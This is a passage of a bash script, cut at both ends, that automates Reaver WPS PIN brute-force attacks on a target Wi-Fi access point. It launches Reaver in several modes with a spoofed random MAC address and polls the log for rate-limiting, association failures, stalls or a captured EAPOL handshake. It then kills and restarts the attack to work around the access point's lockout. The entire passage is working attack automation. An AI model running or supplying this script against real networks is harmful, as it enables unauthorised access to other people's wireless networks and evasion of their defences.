contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R35 == y || $USE_R35 == Y ]] && [[ $USE_LONG35 == n || $USE_LONG35 == N ]] && [[ $USE_PIN35 == n || $USE_PIN35 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME35"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL35"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP35"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX35" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY35"
echo -e "$info Reaver live time                   = $yel$LIVE35 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME35-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL35 -b $TARGETAP35 -vv -x 60 -r $RX35:$RY35 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME35-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE35-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R35 == n || $USE_R35 == N ]] && [[ $USE_LONG35 == y || $USE_LONG35 == Y ]] && [[ $USE_PIN35 == n || $USE_PIN35 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME35"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL35"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP35"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE35 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME35-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL35 -b $TARGETAP35 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME35-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE35-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R35 == y || $USE_R35 == Y ]] && [[ $USE_LONG35 == y || $USE_LONG35 == Y ]] && [[ $USE_PIN35 == n || $USE_PIN35 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME35"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL35"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP35"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX35" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY35"
echo -e "$info Reaver live time                   = $yel$LIVE35 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME35-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL35 -b $TARGETAP35 -r $RX35:$RY35 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME35-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE35-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R35 == n || $USE_R35 == N ]] && [[ $USE_LONG35 == n || $USE_LONG35 == N ]] && [[ $USE_PIN35 == y || $USE_PIN35 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME35"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL35"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP35"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE35 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME35-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL35 -b $TARGETAP35 -vv -x 60  --pin=$WPS_PIN35 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME35-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE35-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R35 == y || $USE_R35 == Y ]] && [[ $USE_LONG35 == n || $USE_LONG35 == N ]] && [[ $USE_PIN35 == y || $USE_PIN35 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME35"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL35"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP35"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX35" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY35"
echo -e "$info Reaver live time                   = $yel$LIVE35 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME35-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL35 -b $TARGETAP35 -vv -x 60 -r $RX35:$RY35 --pin=$WPS_PIN35 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME35-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE35-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

